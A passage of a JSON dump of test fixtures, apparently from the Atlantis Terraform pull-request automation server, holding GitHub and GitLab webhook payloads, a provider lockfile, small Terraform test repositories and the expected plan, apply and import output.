\"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n      \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n      \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"private\": false,\n    \"html_url\": \"https://github.com/runatlantis/atlantis-tests\",\n    \"description\": \"A set of terraform projects that atlantis e2e tests run on.\",\n    \"fork\": true,\n    \"url\": \"https://api.github.com/repos/runatlantis/atlantis-tests\",\n    \"forks_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/forks\",\n    \"keys_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}\",\n    \"collaborators_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}\",\n    \"teams_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/teams\",\n    \"hooks_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/hooks\",\n    \"issue_events_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}\",\n    \"events_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/events\",\n    \"assignees_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}\",\n    \"branches_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}\",\n    \"tags_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/tags\",\n    \"blobs_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}\",\n    \"git_tags_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}\",\n    \"git_refs_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}\",\n    \"trees_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}\",\n    \"statuses_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}\",\n    \"languages_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/languages\",\n    \"stargazers_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/stargazers\",\n    \"contributors_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/contributors\",\n    \"subscribers_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/subscribers\",\n    \"subscription_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/subscription\",\n    \"commits_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}\",\n    \"git_commits_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/commits{/sha}\",\n    \"comments_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/comments{/number}\",\n    \"issue_comment_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments{/number}\",\n    \"contents_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/contents/{+path}\",\n    \"compare_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/compare/{base}...{head}\",\n    \"merges_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/merges\",\n    \"archive_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/{archive_format}{/ref}\",\n    \"downloads_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/downloads\",\n    \"issues_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues{/number}\",\n    \"pulls_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/pulls{/number}\",\n    \"milestones_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/milestones{/number}\",\n    \"notifications_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/notifications{?since,all,participating}\",\n    \"labels_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/labels{/name}\",\n    \"releases_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/releases{/id}\",\n    \"deployments_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/deployments\",\n    \"created_at\": \"2018-06-07T12:28:23Z\",\n    \"updated_at\": \"2018-06-07T12:28:27Z\",\n    \"pushed_at\": \"2018-06-11T16:22:09Z\",\n    \"git_url\": \"git://github.com/runatlantis/atlantis-tests.git\",\n    \"ssh_url\": \"git@github.com:runatlantis/atlantis-tests.git\",\n    \"clone_url\": \"https://github.com/runatlantis/atlantis-tests.git\",\n    \"svn_url\": \"https://github.com/runatlantis/atlantis-tests\",\n    \"homepage\": null,\n    \"size\": 7,\n    \"stargazers_count\": 0,\n    \"watchers_count\": 0,\n    \"language\": \"HCL\",\n    \"has_issues\": false,\n    \"has_projects\": true,\n    \"has_downloads\": true,\n    \"has_wiki\": false,\n    \"has_pages\": false,\n    \"forks_count\": 0,\n    \"mirror_url\": null,\n    \"archived\": false,\n    \"open_issues_count\": 2,\n    \"license\": {\n      \"key\": \"other\",\n      \"name\": \"Other\",\n      \"spdx_id\": null,\n      \"url\": null,\n      \"node_id\": \"MDc6TGljZW5zZTA=\"\n    },\n    \"forks\": 0,\n    \"open_issues\": 2,\n    \"watchers\": 0,\n    \"default_branch\": \"main\"\n  },\n  \"sender\": {\n    \"login\": \"runatlantis\",\n    \"id\": 1034429,\n    \"node_id\": \"MDQ6VXNlcjEwMzQ0Mjk=\",\n    \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1034429?v=4\",\n    \"gravatar_id\": \"\",\n    \"url\": \"https://api.github.com/users/runatlantis\",\n    \"html_url\": \"https://github.com/runatlantis\",\n    \"followers_url\": \"https://api.github.com/users/runatlantis/followers\",\n    \"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n    \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n    \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n    \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n    \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n    \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n    \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n    \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n    \"type\": \"User\",\n    \"site_admin\": false\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/gitlabMergeCommentEvent_notAllowlisted.json",
    "content": "{\n  \"object_kind\": \"note\",\n  \"user\": {\n    \"name\": \"Administrator\",\n    \"username\": \"root\",\n    \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n  },\n  \"project_id\": 5,\n  \"project\":{\n    \"id\": 5,\n    \"name\":\"Gitlab Test\",\n    \"description\":\"Aut reprehenderit ut est.\",\n    \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"avatar_url\":null,\n    \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"namespace\":\"Gitlab Org\",\n    \"visibility_level\":10,\n    \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n    \"default_branch\":\"main\",\n    \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n  },\n  \"repository\":{\n    \"name\": \"Gitlab Test\",\n    \"url\": \"http://localhost/gitlab-org/gitlab-test.git\",\n    \"description\": \"Aut reprehenderit ut est.\",\n    \"homepage\": \"http://example.com/gitlab-org/gitlab-test\"\n  },\n  \"object_attributes\": {\n    \"id\": 1244,\n    \"note\": \"atlantis plan\",\n    \"noteable_type\": \"MergeRequest\",\n    \"author_id\": 1,\n    \"created_at\": \"2015-05-17\",\n    \"updated_at\": \"2015-05-17\",\n    \"project_id\": 5,\n    \"attachment\": null,\n    \"line_code\": null,\n    \"commit_id\": \"\",\n    \"noteable_id\": 7,\n    \"system\": false,\n    \"st_diff\": null,\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244\"\n  },\n  \"merge_request\": {\n    \"id\": 7,\n    \"target_branch\": \"markdown\",\n    \"source_branch\": \"main\",\n    \"source_project_id\": 5,\n    \"author_id\": 8,\n    \"assignee_id\": 28,\n    \"title\": \"Tempora et eos debitis quae laborum et.\",\n    \"created_at\": \"2015-03-01 20:12:53 UTC\",\n    \"updated_at\": \"2015-03-21 18:27:27 UTC\",\n    \"milestone_id\": 11,\n    \"state\": \"opened\",\n    \"merge_status\": \"cannot_be_merged\",\n    \"target_project_id\": 5,\n    \"iid\": 1,\n    \"description\": \"Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.\",\n    \"position\": 0,\n    \"source\":{\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlab-org/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\"\n    },\n    \"target\": {\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"message\": \"Merge branch 'another-branch' into 'main'\\n\\nCheck in this test\\n\",\n      \"timestamp\": \"2002-10-02T10:00:00-05:00\",\n      \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"author\": {\n        \"name\": \"John Smith\",\n        \"email\": \"john@example.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"assignee\": {\n      \"name\": \"User1\",\n      \"username\": \"user1\",\n      \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/gitlabMergeCommentEvent_shouldIgnore.json",
    "content": "{\n  \"object_kind\": \"note\",\n  \"user\": {\n    \"name\": \"Administrator\",\n    \"username\": \"root\",\n    \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n  },\n  \"project_id\": 5,\n  \"project\":{\n    \"id\": 5,\n    \"name\":\"Gitlab Test\",\n    \"description\":\"Aut reprehenderit ut est.\",\n    \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"avatar_url\":null,\n    \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"namespace\":\"Gitlab Org\",\n    \"visibility_level\":10,\n    \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n    \"default_branch\":\"main\",\n    \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n  },\n  \"repository\":{\n    \"name\": \"Gitlab Test\",\n    \"url\": \"http://localhost/gitlab-org/gitlab-test.git\",\n    \"description\": \"Aut reprehenderit ut est.\",\n    \"homepage\": \"http://example.com/gitlab-org/gitlab-test\"\n  },\n  \"object_attributes\": {\n    \"id\": 1244,\n    \"note\": \"This MR needs work.\",\n    \"noteable_type\": \"MergeRequest\",\n    \"author_id\": 1,\n    \"created_at\": \"2015-05-17\",\n    \"updated_at\": \"2015-05-17\",\n    \"project_id\": 5,\n    \"attachment\": null,\n    \"line_code\": null,\n    \"commit_id\": \"\",\n    \"noteable_id\": 7,\n    \"system\": false,\n    \"st_diff\": null,\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244\"\n  },\n  \"merge_request\": {\n    \"id\": 7,\n    \"target_branch\": \"markdown\",\n    \"source_branch\": \"main\",\n    \"source_project_id\": 5,\n    \"author_id\": 8,\n    \"assignee_id\": 28,\n    \"title\": \"Tempora et eos debitis quae laborum et.\",\n    \"created_at\": \"2015-03-01 20:12:53 UTC\",\n    \"updated_at\": \"2015-03-21 18:27:27 UTC\",\n    \"milestone_id\": 11,\n    \"state\": \"opened\",\n    \"merge_status\": \"cannot_be_merged\",\n    \"target_project_id\": 5,\n    \"iid\": 1,\n    \"description\": \"Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.\",\n    \"position\": 0,\n    \"source\":{\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlab-org/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\"\n    },\n    \"target\": {\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"message\": \"Merge branch 'another-branch' into 'main'\\n\\nCheck in this test\\n\",\n      \"timestamp\": \"2002-10-02T10:00:00-05:00\",\n      \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"author\": {\n        \"name\": \"John Smith\",\n        \"email\": \"john@example.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"assignee\": {\n      \"name\": \"User1\",\n      \"username\": \"user1\",\n      \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/null_provider_lockfile_old_version",
    "content": "# This file is maintained automatically by \"terraform init\".\n# Manual edits may be lost in future updates.\n\nprovider \"registry.terraform.io/hashicorp/null\" {\n  version     = \"3.2.4\"\n  constraints = \"3.2.4\"\n  hashes = [\n    \"h1:127ts0CG8hFk1bHIfrBsKxcnt9bAYQCq3udWM+AACH8=\",\n    \"h1:L5V05xwp/Gto1leRryuesxjMfgZwjb7oool4WS1UEFQ=\",\n    \"h1:hkf5w5B6q8e2A42ND2CjAvgvSN3puAosDmOJb3zCVQM=\",\n    \"h1:wTNrZnwQdOOT/TW9pa+7GgJeFK2OvTvDmx78VmUmZXM=\",\n    \"zh:59f6b52ab4ff35739647f9509ee6d93d7c032985d9f8c6237d1f8a59471bbbe2\",\n    \"zh:78d5eefdd9e494defcb3c68d282b8f96630502cac21d1ea161f53cfe9bb483b3\",\n    \"zh:795c897119ff082133150121d39ff26cb5f89a730a2c8c26f3a9c1abf81a9c43\",\n    \"zh:7b9c7b16f118fbc2b05a983817b8ce2f86df125857966ad356353baf4bff5c0a\",\n    \"zh:85e33ab43e0e1726e5f97a874b8e24820b6565ff8076523cc2922ba671492991\",\n    \"zh:9d32ac3619cfc93eb3c4f423492a8e0f79db05fec58e449dee9b2d5873d5f69f\",\n    \"zh:9e15c3c9dd8e0d1e3731841d44c34571b6c97f5b95e8296a45318b94e5287a6e\",\n    \"zh:b4c2ab35d1b7696c30b64bf2c0f3a62329107bd1a9121ce70683dec58af19615\",\n    \"zh:c43723e8cc65bcdf5e0c92581dcbbdcbdcf18b8d2037406a5f2033b1e22de442\",\n    \"zh:ceb5495d9c31bfb299d246ab333f08c7fb0d67a4f82681fbf47f2a21c3e11ab5\",\n    \"zh:e171026b3659305c558d9804062762d168f50ba02b88b231d20ec99578a6233f\",\n    \"zh:ed0fe2acdb61330b01841fa790be00ec6beaac91d41f311fb8254f74eb6a711f\",\n  ]\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/atlantis.yaml",
    "content": "version: 3\nautomerge: true\nprojects:\n- dir: dir1\n- dir: dir2\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/dir1/main.tf",
    "content": "resource \"null_resource\" \"automerge\" {\n  count = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/dir1/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/dir2/main.tf",
    "content": "resource \"null_resource\" \"automerge\" {\n  count = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/dir2/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir1.txt",
    "content": "Ran Apply for dir: `dir1` workspace: `default`\n\n```diff\nnull_resource.automerge[0]: Creating...\nnull_resource.automerge[0]: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir2.txt",
    "content": "Ran Apply for dir: `dir2` workspace: `default`\n\n```diff\nnull_resource.automerge[0]: Creating...\nnull_resource.automerge[0]: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/exp-output-automerge.txt",
    "content": "Automatically merging because all plans have been successfully applied.\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.automerge[0] will be created\n+ resource \"null_resource\" \"automerge\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\n\n---\n### 2. dir: `dir2` workspace: `default`\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.automerge[0] will be created\n+ resource \"null_resource\" \"automerge\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/automerge/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `default`\n- dir: `dir2` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: dir1\n- dir: dir2\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/dir1/main.tf",
    "content": "resource \"random_id\" \"dummy1\" {\n  byte_length = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/dir1/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/dir2/main.tf",
    "content": "resource \"random_id\" \"dummy2\" {\n  byte_length = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/dir2/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy1 will be created\n+ resource \"random_id\" \"dummy1\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `dir2` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy2 will be created\n+ resource \"random_id\" \"dummy2\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-dummy1.txt",
    "content": "Ran Import for dir: `dir1` workspace: `default`\n\n```diff\nrandom_id.dummy1: Importing from ID \"AA\"...\nrandom_id.dummy1: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy1: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-multiple-projects.txt",
    "content": "**Import Failed**: import cannot run on multiple projects. please specify one project.\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `default`\n- dir: `dir2` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-plan-again.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `dir1` workspace: `default`\n1. dir: `dir2` workspace: `default`\n---\n\n### 1. dir: `dir1` workspace: `default`\n```diff\nrandom_id.dummy1: Refreshing state... [id=AA]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir1\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir1\n  ```\n\n---\n### 2. dir: `dir2` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy2 will be created\n+ resource \"random_id\" \"dummy2\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d dir2\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d dir2\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 1 with changes, 1 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-apply-no-projects.txt",
    "content": "Ran Apply for 0 projects:"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.dummy1 will be created\n+ resource \"random_id\" \"dummy1\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.dummy2 will be created\n+ resource \"random_id\" \"dummy2\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 2 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  